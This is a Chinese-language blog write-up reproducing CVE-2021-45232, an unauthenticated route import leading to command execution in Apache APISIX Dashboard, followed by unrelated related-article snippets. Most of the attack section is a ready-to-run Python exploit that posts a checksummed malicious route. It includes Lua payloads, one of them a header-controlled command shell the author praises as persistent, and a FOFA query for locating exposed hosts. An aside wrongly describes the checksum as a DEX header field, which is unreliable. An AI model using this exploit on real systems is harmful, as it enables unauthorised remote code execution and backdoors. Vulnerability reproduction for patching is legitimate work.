CVE-2021-45232 Apache APISIX 从未授权访问到RCE
00x1漏洞环境
Apache APISIX Dashboard 2.7 - 2.10 版本受到影响
通过git拉取在docker搭建环境
git clone https://github.com/apache/apisix-docker
注意这里需要把yml文件改成2.7版本

然后用docker搭建就可以了
00x2 攻击过程
环境跑起来后成功访问到9000登录界面

这里的未授权访问指的是对下面两个接口没有鉴权处理
/apisix/admin/migrate/export
/apisix/admin/migrate/import
用burp抓个包,访问export接口,可以看到返回了路由信息

这里不光光能返回路由的配置信息,还能import导入路由配置,
首先它的返回路由信息是一个Json,(因为这里的路由配置的script部分是我在复现的时候import的payload)

我们可以在官方文档里看到这些属性的作用

如果我们在后台直接添加带有payload的路由配置,看看它会不会执行命令

直接访问创建的接口emlknW,这里需要访问管理端口9080,不是9000

可以看到成功挂载了 852文件,命令执行成功

那么要如何通过访问import接口来给他导入配置呢?
00x3 漏洞分析
通过参考网上别人的分析,因为是go语言 没学过就不多分析了
后端代码就是未对两个接口访问做鉴权,然后我们可以通过export得到的路由配置
自己构造一个恶意的路由配置,这里命令执行在script属性里面,然后通过构造好的配置import到里面去。
看代码分析知道可以有修改或者新建路由配置来完成。
关键的一点这里传入的配置需要计算文件的checksum,
简答了解一下:
checksum(校验和)是DEX位于文件头部的一个信息,用来判断DEX文件是否损坏或者被篡改,它位于头部的0x08偏移地址处,占用4个字节,采用小端序存储。
这里给出朋友改的代码:
import random, string, json, zlib, requests """
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 这是通过lua语言写的通过请求头带上的cmd: rce,来替换'cmd'部分来执行命令
""" eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "os.execute('touch /tmp/mytest')",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
} # 将数据进行checksum
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big") def import_apix(url, data):
data = json.dumps(data).encode() # 将数据进行转换为json存储到文件中,后面需要以文件上传
checksum = calc_crc(data) # 进行checksum ,然后添加到数据后面 files = {"file": ("data", data + checksum, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
# proxies=proxies 这里是通过post去发包,走代理proxies
if resp.json().get("code", -1) == 0:
return True
else:
return False """
这里定义的proxies为本地代理,这样运行时候就能用burp抓包了
"""
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"
} # 生成一个随机路径
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6)) if __name__ == '__main__': uri = random_str()
print(uri)
eval_config["Routes"][0]["uris"] = ["/" + uri]
eval_config["Routes"][0]["name"] = uri
print(eval_config, end='\n')
if import_apix('http://192.168.255.128:9000', eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")
我们运行抓包看看,后面这个应该就是+上的checksum了,可以看到成功导入了配置

我们在py里输出了随机生成的命名uri

直接去访问该API

回到环境看看,成功RCE了

在github上有大佬写的是带回显的可以执行多次命令的接口配置,可以看看
https://github.com/wuppp/cve-2021-45232-exp#readme
代码关键就是
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
我的理解是 这是通过lua语言写的通过读取请求头带上的cmd: rce,来替换'cmd'部分来执行命令
所以import这种配置成功后,就可以这样执行命令了


不得不说这更加有持久性 evil~
在fofa里面可以这样来搜索,使用该组件的主机
title="Apache APISIX Dashboard"
00x4 修复方案
更新到最新版本,新版本代理做了鉴权处理
参考:
https://www.cnblogs.com/xiaozhi789/articles/15763472.html
CVE-2021-45232 Apache APISIX 从未授权访问到RCE的更多相关文章
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- WEB中间件--Jboss未授权访问,
1,Jboss未授权访问部署木马 发现存在Jboss默认页面,点进控制页 点击 Jboss.deployment 进入应用部署页面 也可以直接输入此URL进入 http://www.ctfswiki. ...
- zookeeper未授权访问漏洞
1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- 王院生:Apache APISIX 微服务网关极致性能架构解析
2019 年 10 月 27 日,又拍云联合 Apache APISIX 社区举办 API 网关与高性能服务最佳实践丨Open Talk 杭州站活动,Apache APISIX PPMC 成员王院生做 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
随机推荐
- 【Services】【Web】【LVS】lvs基础概念
1.简介 1.1. 作者:张文嵩,就职于阿里 1.2. LVS是基础四层路由.四层交换的软件,他根据请求报文的目标IP和目标PORT将其调度转发至后端的某主机: 1.3. IPTABLES的请求转发路 ...
- 【Java 与数据库】JDBC中日期时间的处理技巧
JDBC中日期时间的处理技巧 详谈Java.util.Date和Java.sql.Date 基础知识 Java中用类java.util.Date对日期/时间做了封装,此类提供了对年.月.日.时.分.秒 ...
- java 对 final 关键字 深度理解
基础理解 : 1.修饰类 当用final去修饰一个类的时候,表示这个类不能被继承.处于安全,在JDK中,被设计为final类的有String.System等,这些类不能被继承 .注意:被修饰的类的成员 ...
- SpringBoot中使用JUnit4(入门篇)
添加依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>sp ...
- 【C/C++】函数的默认参数/函数的占位参数/函数重载/注意事项
函数的默认参数 返回值类型 函数名(参数=默认值){} #include <iostream> using namespace std; int func(int a = 10, int ...
- 莫烦python教程学习笔记——数据预处理之normalization
# View more python learning tutorial on my Youtube and Youku channel!!! # Youtube video tutorial: ht ...
- 去除爬虫采集到的\xa0、\u3000等字符
\xa0表示不间断空白符,爬虫中遇到它的概率不可谓不小,而经常和它一同出现的还有\u3000.\u2800.\t等Unicode字符串.单从对\xa0.\t.\u3000等含空白字符的处理来说,有以下 ...
- 成本计算?(Project)
<Project2016 企业项目管理实践>张会斌 董方好 编著 成本各种输入以后就该计算了是吗? 其实,计算有我什么事啊,不都是些四则运算吗?Project要是连这都搞不定,他还在地球上 ...
- Go语言核心36讲(Go语言实战与应用二十六)--学习笔记
48 | 程序性能分析基础(上) 作为拾遗的部分,今天我们来讲讲与 Go 程序性能分析有关的基础知识. Go 语言为程序开发者们提供了丰富的性能分析 API,和非常好用的标准工具.这些 API 主要存 ...
- LuoguB2147 求 f(x,n) 题解
Content 求给定 \(x,n\),求 \(f(x,n)=\sqrt{n+\sqrt{(n-1)+\sqrt{(n-2)+\sqrt{\dots+2+\sqrt{1+x}}}}}\) 的值. So ...